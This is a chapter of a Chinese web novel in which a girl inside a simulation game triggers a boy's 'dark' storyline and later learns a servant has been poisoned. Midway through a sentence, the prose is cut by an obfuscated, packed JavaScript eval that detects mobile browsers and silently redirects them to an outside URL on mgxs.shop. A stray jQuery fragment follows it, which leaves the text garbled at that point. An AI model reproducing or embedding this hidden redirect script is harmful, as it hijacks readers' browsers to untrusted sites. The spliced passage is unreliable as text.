文趣网 > 其他小说 > 高危养成游戏实录 > 7. 第七章
    杜宏的回信来得格外迅速。

    叶宁晨早上才将叶清的事告知叶凝兰,刚到申初,明蓝就送来他写的两封信。

    “主子说,无论是谁,只要条件满足,就能触发相关事件。不过,是否进行下去,要看小姐的选择。”明蓝递过信,转述叶凝兰所言,“之前剧情没能开展,是因为少了关键的角色,小姐的介入恰好弥补了这点。”

    “还有,小姐的猜测是正确的。”

    此话一出,叶宁晨的小心脏激动地咚咚直跳。

    昨日的事让她想起游戏里的某个NPC。那是个非常典型的娘早逝,爹不疼的病娇类角色。

    他长期遭受父亲打压,有了自寻短见的念头,又逢父亲欲娶新妻,嫌他碍事,收买下人打算除掉他。阴差阳错下,他意外遇见那位妻子的女儿,与她交谈几次,破了心魔,生了魔心,黑化反杀父亲。多年后,再次见到儿时青梅,他占有欲大爆发,非要跟人玩强制爱,把人家姑娘吓得够呛,只得向玩家求助。

    这是一段随机触发的特殊剧情。

    巧的是,叶宁晨不受控制对阿晋说的那番话,正是那女孩回忆里对竹马说过的,一字不差。

    叶凝兰曾说,这个世界的本质,是将游戏已有的东西进行随机组合。

    产生的成果,大概就是像阿晋这样。

    设定经历大致相同,只等关键人物或者事件出现,就会被强制触发剧情。

    这给了叶宁晨新的灵感。

    通关就能回家,但游戏未完结,可攻略角色的故事尚未结束,达不到通关条件。

    但NPC的剧情不一样,就算部分情节有所省略,一般也有相对完善的结局。

    叶凝兰说她见过退出游戏的按钮,有可能就是在完成某个NPC剧情后见到的。

    明蓝说叶凝兰肯定了她的想法。

    这让叶宁晨有些欣喜若狂:回家不再是虚无缥缈的幻影,而是能人为推动的实事。

    方法已知,眼下最难的,是找到合适的人,扮演合适的关键角色,走合适的剧情。

    不过叶宁晨有信心,存档点在手,实在不行就用笨办法,一遍一遍重来,早晚能找到。

    至于阿晋这边,叶宁晨准备把现阶段可以推进的剧情过完。

    她想弄清楚,拼凑生成的剧情和原版的差距到底有多大。

    杜宏回的两封信,一封给叶宁晨,另一封给叶清。

    信里夸赞叶宁晨态度端正,进步很快,勉励她再接再厉。

    都是些客套话。想来杜宏顾虑只回复叶清有失公允,便顺带也给她写了一封。

    借送信为由,叶宁晨带着明红再探东厢房。李怡喊住二人,命人抬来一小壶果酒。

    “你接连两日叨扰她,我怎么也该有所表示。”李怡说,“她素来喜爱这酸甜果酒,干脆带去,就当谢礼。”

    顾忌二人年幼,拿不稳,她又派了身边一位干练丫鬟同去。

    路上,叶宁晨想起李嬷嬷,她近来早出晚归,也不知在做什么。

    丫鬟听见她问,笑道:“李嬷嬷年岁已高,差事又被明红顶替。夫人念往日情分,便给她挂了个虚职,只领月例,不必操劳实务。”

    说完,她又凑近明红,低声附耳说了几句。叶宁晨装作未察觉,只管低头踢石子。待将果酒送达,趁伯母问话之际,才悄悄凑近明红,询问方才的耳语内容。

    “她说李嬷嬷在府里某处赌钱,最近输得厉害,叫我莫要借钱给她。”

    叶宁晨嘴角微微一抽。

    下人聚众赌博,是府邸管理度低于五十才会触发的随机负面事件。

    而管理度跌破五十,意味着府中上下整整半年无人管理。

    叶凝兰……难不成,你在研究挂机流家主?

    项明珠似乎忙着处理其他事,应付完李怡的丫鬟,她唤来叶清,草草嘱咐几句,便匆匆离去。

    等母亲的丫鬟和项明珠齐齐离开,叶宁晨才拿出信,交给叶清。

    “如何?”

    叶清看了许久,叶宁晨才小心翼翼开口询问。

    “杜老答应教我下棋。母亲那边,有祖母劝说。”叶清压着声音说道。

    她好似越是内心激动,就越习惯压低声音,不叫情绪流露出来。

    叶清牵着叶宁晨往偏房走,她的手还打着颤,“此事能成,离不开妹妹的帮助。往后若有需要我的地方,只管开口,我定会竭尽所能。”

    “有空的话,多来找我玩就好。”叶宁晨说道。

    这是她绕这么大圈子,想方设法掺和东房诸事的初衷。

    偏房内,几个小孩聚在一起,各自忙活。

    叶辞立于角落,依照书卷所载的招式扎着马步,姿势已然走形,他却浑然未觉。

    叶清抱来数册棋谱,兴致勃勃地翻阅起来。

    叶宁晨自己找了个位置坐下,装作对桌上摆设很感兴趣的样子,努力无视直勾勾盯着自己的阿晋。

    还是阿晋主动过来搭话。

    “宁儿妹妹怎么装作没看见我?”他含笑道。

    望着眼前这副笑意明朗的面容,叶宁晨心里发毛,再看那俩自娱自乐的姐弟,心中浮起淡淡绝望。

    一个人前后差距突然这么大,你俩完全不在意的吗!

    稍加思考,她决定委婉的、礼貌的、谨慎的,实话实说。

    “昨日鲁莽,说了些无礼的话,怕哥哥生气。”

    “我生什么气。”阿晋坐到叶宁晨旁边,轻轻晃着腿,“谢谢你还来不及呢,可从没有人说过我‘未来可期’。”

    叶宁晨:……

    如果没记错,这句前面,我刚说过你是无用之人……

    阿晋将桌上果盘拉近,“要吃蜜饯吗?”

    见叶宁晨点头,他将蜜饯撕成小块递过去。“我洗过手了。”他抿嘴笑着,伸出两只手,展示白净的手掌。

    即将成为病娇预备役的阿晋并没有叶宁晨想象中吓人。

    甚至更像正常小孩了。

    等叶宁晨吃完,他贴心地拿出帕子帮她擦手,“你没必要怕我。母亲常说,要以父亲为榜样,我也一直如此……但他毕竟是我爹。”

    阿晋没头没尾的话,听得叶宁晨一头雾水。

    那段剧情里,青梅和竹马的剧情主要有三段。初见,青梅鼓励;再见,竹马得知父亲想杀子,奔溃时被青梅无意鼓励;重逢,两人在竹马家乡遇见。

    除了这三段比较详细外,剩下的皆是NPC对玩家的转述,一句简单带过。

    正因如此,她不敢贸然接话,只是歪头看阿晋。

    “说起来早上有件趣事。”阿晋同样歪头瞧她,“父亲说我不该与姑姑多接触,但昨夜我想了想,都是亲亲的亲戚,哪能真不说话呢,父亲也只是说些气话而已。”

    “然后呢?”

    “趁早饭姑姑一家在场,我将前因后果说了一遍。母亲的事,账本的事,都说了。”

    叶宁晨安静听着,等他说后续,阿晋却止住嘴,只是低头浅笑。

    “还有一事。”阿晋郑重地直起身子,“昨日王生对妹妹侍女无礼,我替他向你道歉,对不起。”

    他起身转向明红,微微点头,道:“对不起。”

    叶宁晨彻底懵了。

    确定这是黑化病娇?

    分明是标准的文明礼貌好好小孩嘛。

    不知道叶凝兰是怎么看出每个人的属性设定的,下回得问问,好好学一学。

    她真想看看阿晋的是什么,前后能变化如此之大。

    不过也有种可能,就是剧情本身发力了。只要进了剧情,管你三七二十一,都全变成剧情需要的人设。

    叶宁晨脑补了一番:若是自己认识十个人,相处一阵,其中两个人触发了相同的剧情,变成一模一样的性格。

    光是想想就觉得诡异。

    坐了一阵,见无事发生,叶宁晨起身告辞,准备回家小憩片刻。

    阿晋提出要送她一程,顺便逛逛叶府,见见世面。

    这可不兴逛啊!叶宁晨连连摆手拒绝,可终究没能拗过他。

    今日依旧晴空万里,盛夏独有的闷热已初现苗头。

    阿晋路上见人就问,礼貌地不行。有几个嬷嬷问他是哪家的孩子,他也老老实实将身份、因何而来说了一遍。

    叶宁晨没怎么注意他。她忙着在做两手准备,先存好档,又花钱让明红暗中跟着阿晋,若出变故及时喊人。

    这事花了她一万银两,肉疼。

    阿晋将叶宁晨送到西房门口,便告辞离去。

    他沿着来路慢悠悠闲逛,最后停于游廊,倚在美人靠上,静静欣赏满园花草芳。

    闲适的时光没有持续太久。

    王生急急跑来,抱怨道:“少爷,你真是让小的好一顿找。”

    阿晋坐正身子,乖巧抬头看他,“姑姑不是让你给爹写信吗,找我做什么?”

    他不提此事还好,一提,王生顿时气不打一处来。

    “老爷吩咐的事,你怎么全忘了!才离家几天,规矩就没了,叫我怎么有脸回去见老爷。不孝不忠,书都白读了!”

    早上阿晋将各事尽数告诉给项明珠,王生在一旁听得心惊胆战,魂都险些吓飞。

    哄哄外人、骗骗孩童的说辞,肯定瞒不过同样做生意还是老爷亲妹妹的项明珠。

    她一听便能知账本的事纯是胡扯,家中有备账,莫说是几天的帐,就是一年的账做坏了也能补得上。因妻怪子更是离谱,老爷前些日子发了好几封信说想要休妻另娶,被她骂了个狗血喷头,不得已才放弃。最最重要的是太爷从不许老爷碰账本,他宁可让外人来,也不信任自己的儿子。

    处处是破绽,项明珠若有心查,轻易便能查清兄长

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964083|214417||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    因私放印子钱被逐出家门的事。

    到时各种烂事被翻出来,谁都跑不掉。

    所幸当初太爷送给女儿的家书被老爷中途截下,项明珠不知实情,两地相隔又远,只能听他随口编造的说辞。

    他一口咬定老爷是思妻过度,糊弄完项明珠便速速来找阿晋。

    老爷原计划让阿晋死于叶府,再借此事发挥,将家中铺子从妹妹手里夺回来。

    可阿晋今天跟中邪似的,高调的很,王生来的路上就听见好几个人说他懂事。若是之后贸然下手,反而会引火烧身。

    他越想越气,口无遮拦地破口大骂,“老爷说得对,你跟你那个短命鬼的娘一样碍事。”

    阿晋微微瞪大眼睛,随后低下头,用好似虚无缥缈的声音问道,“是……爹亲口说的?”

    王生冷笑一声,“不然呢?你最近就好好在屋里待着,要是再捣乱,就等老爷这么收拾你吧。”说完,他啐了一口,转身离开。

    他毫不在意说出的话会产生什么后果。毕竟,小孩而已,说出去谁信?

    愤怒勾起了他的欲望,他又想赌了。

    无非就是赊账,签几张纸而已,随它去。

    阿晋留在原处,一直垂头坐着。

    晚风褪去暖意,天光渐渐沉暗,他才恍如大梦初醒,缓缓起身,踱步走开。

    踩着夕阳,他漫无目的地踩过石砖。

    忽然,他顿住脚步,直直看着前方,那里站着一位女童。

    叶宁晨一觉睡醒,已是黄昏。明红迟迟未归,她心底不安,干脆到门外等候。

    今日的夕阳红得灼人,宛若倾盆鲜血泼洒于长空,看着骇人。

    叶宁晨抬眸看天一阵,回过头瞧见了阿晋,他站在远处,神色晦暗难辨,遥遥凝望着她。

    嘶,难不成要触发第二段剧情了?

    叶宁晨踌躇片刻,还是朝阿晋走去。

    大约与他相距一步之遥的距离,那种熟悉的奇怪感觉再次浮现,身体不受控制地行动起来,叶宁晨紧张地悬着心,静候“自己”接下来的表演。

    她快活地上前,拍了拍阿晋的肩膀,随后歪着身子,探头看他的脸。“阿晋哥哥怎么不开心?”

    阿晋未应声,只有目光顺她转动。

    “不想说也行。”叶宁晨背手站在他身侧,语气认真,“不管怎么样,我都会支持你,我们会是永远的朋友。”

    阿晋浅浅一笑,伸手揉了揉她的头顶,“当真?”

    “嗯。”

    “能正常点吗?”

    下一秒,身体的控制权回到了叶宁晨手上,她在心里想说的话随之脱口而出。

    “啊?”

    望着阿晋困惑的眼神,叶宁晨挤出笑容,指指他的头发,尽最大的努力挽回一时的嘴快,“头发,能整长点吗,感觉会很好看。”

    这句几乎耗尽她两世的情商的回答,大概、也许、可能是糊弄过去了。

    反正阿晋直到告别都没说什么。

    等天完全黑,明红才回来,她将一路见到的,听到的,全都声情并茂地讲给叶宁晨听。

    听完,叶宁晨就一个想法:感觉王生会是个比较轻松的被拿下。至于走完黑化剧情的阿晋,祝他在苏州打拼成功吧。

    她自己应该是不会去苏州触发第三段重逢剧情的。

    有些东西看看就好,真要体验,她还是喜欢健康的恋爱关系。

    虽然她还没谈过。

    也许真是黑化强三分,东房第二天便生出事来。

    李怡少见地冷了脸,严令叶宁晨待在家中,她则与叶明逸匆匆去了东房。

    叶宁晨实在好奇,又忍痛花了银子,让明红去打听消息。

    这次明红回来的很快。

    “王生死了,被人毒死的。说是在府里赌钱,欠了一屁股债,得罪了人。”明红说得十分简洁。

    “后面呢?”

    明红并未答话,只引着叶宁晨走到院中,二人一同蹲在了窗下。

    窗内,李怡的声音清晰飘出。

    “虎毒尚且不食子,他竟连自己的亲骨肉都不肯放过,实在可恨。明珠也是,为何不将那包裹上交官府,只要细细彻查,定能找出破绽。”

    叶明逸叹口气,道:“定罪还是难。况且,包里的东西你也看过,真要细查,牵扯的可不止两家。母亲既将此事全权交予嫂子处理,我们便不宜多言插手。”

    “可怜孩子。”李怡感叹,“明珠准备将他送回苏州老宅,也算落个安稳归宿。”

    叶宁晨听得一头雾水,转头好奇问明红,“那包里有什么?”

    明红摇头,“被大夫人收起来了。小姐的银两数不够,我没法找到它。”

    “那毒死王生的凶手到底是谁?”叶宁晨还是没忍住,问出这话。

    明红莞尔,向她伸出手:“小姐,得加钱。”